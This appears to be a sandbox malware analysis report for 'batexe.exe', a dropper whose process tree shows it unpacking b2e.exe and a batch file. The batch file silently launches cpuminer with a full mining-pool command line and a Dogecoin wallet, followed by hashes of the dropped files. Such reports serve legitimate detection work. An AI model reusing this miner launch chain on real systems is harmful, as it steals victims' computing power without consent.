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Analysis
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max time kernel
293s -
max time network
301s -
platform
windows10-1703_x64 -
resource
win10-20231215-ja -
resource tags
arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows -
submitted
12/02/2024, 17:09
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20231215-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231222-ja
General
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Target
batexe.exe
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Size
9.4MB
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MD5
cdc9eacffc6d2bf43153815043064427
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SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
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SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
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SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
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SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
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Executes dropped EXE 2 IoCs
pid Process 2308 b2e.exe 2556 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 2556 cpuminer-sse2.exe 2556 cpuminer-sse2.exe 2556 cpuminer-sse2.exe 2556 cpuminer-sse2.exe 2556 cpuminer-sse2.exe -
resource yara_rule behavioral1/memory/2560-4-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2560 wrote to memory of 2308 2560 batexe.exe 74 PID 2560 wrote to memory of 2308 2560 batexe.exe 74 PID 2560 wrote to memory of 2308 2560 batexe.exe 74 PID 2308 wrote to memory of 5000 2308 b2e.exe 75 PID 2308 wrote to memory of 5000 2308 b2e.exe 75 PID 2308 wrote to memory of 5000 2308 b2e.exe 75 PID 5000 wrote to memory of 2556 5000 cmd.exe 78 PID 5000 wrote to memory of 2556 5000 cmd.exe 78
Processes
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C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2560 -
C:\Users\Admin\AppData\Local\Temp\A047.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\A047.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A047.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2308 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A4AC.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:5000 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2556
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
4.4MB
MD56817714e04354a199e62ac01b6e06f03
SHA166550d231ce6fd69a1c26ba144c42a848b1bc4f3
SHA25642ff8a648e686c200a1e06670dcde1f6a9cfc68502b22e926eb8c28cddd49e48
SHA51222047de875bb689deeede284a092c6fc23de6d1733413c5ca0ac25503b41c86c2374d5af5a9778620fe9b49d75ad39549355f273095bab65981213f49f1e2e53
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Filesize
4.1MB
MD5d2c419a721d788c886ebc0bada6a278f
SHA194d19fe33b785b89d1060ce3dc9ae4a228791210
SHA256650228630db655f08faa08da1e0a36d140c2212db9c910251b7805de8e8c46bb
SHA51259ee192be1b742861e60745fa7c44ea0a8ece045f6c7938ff8d83cc8d59d171a12d50fec02c3f98493bfe1a2006183e13b92063011e6e805379f31510f44eb0f
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Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
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Filesize
2.3MB
MD54c04147c386ba8792ac6a03069572a8a
SHA1dda67789fc1d0f2469ca95f01a5c81034853ca6a
SHA256c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd
SHA512a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db
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Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
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Filesize
9.5MB
MD5b5081d96256baa1a21ec8dfad202ef42
SHA1d4ba47fcf17a5fc410604794008918e9dacbf628
SHA2564bcfe05b9d119bb3c03f282e6413d95d2d88031f7cd499355145d79ac614df65
SHA51264e4c225e78ffc0f6ec52deb10fea91223393b43457999b0255074079849425e8ce5a79cabb35a1f67b48149620ee3a6f55bc4d2b5d8f8d3e453b90e126ff729
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Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
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Filesize
4.6MB
MD52d0313a655440e87aa3c0c928026ee16
SHA12275a64c92180d88e646b8852ace630ee11ce085
SHA256b94d18754c2d8478151e0d73faa055fa69da602531d4891d9ddcd2a65124409c
SHA512a253fb7c977895a6d6cb508729af9b4a06d85f24c62a0b0fc0baa2b4e463e0ba53416ede4a5f9efdd244e3a0cbe99732b07b73d2eaef2a02ca72b064c00569a8
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Filesize
9.2MB
MD5530bc979c45a29e67825c9d05a6a85f7
SHA14bc2f59f1843af0d4f94c5ffbb51746c088ef791
SHA256a318eb6a3028084cd7e087e9e59851ac0b53ee5e9201bc3e2fa86d76f71b9967
SHA51297edc133c8b9edec2135e8a5618b47a94e7d461bf3eefddd16e04cdbab125821b6689110766b5e46aa32e7d599f8b89301ef8b288403af863f5aa7504d635cee
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Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770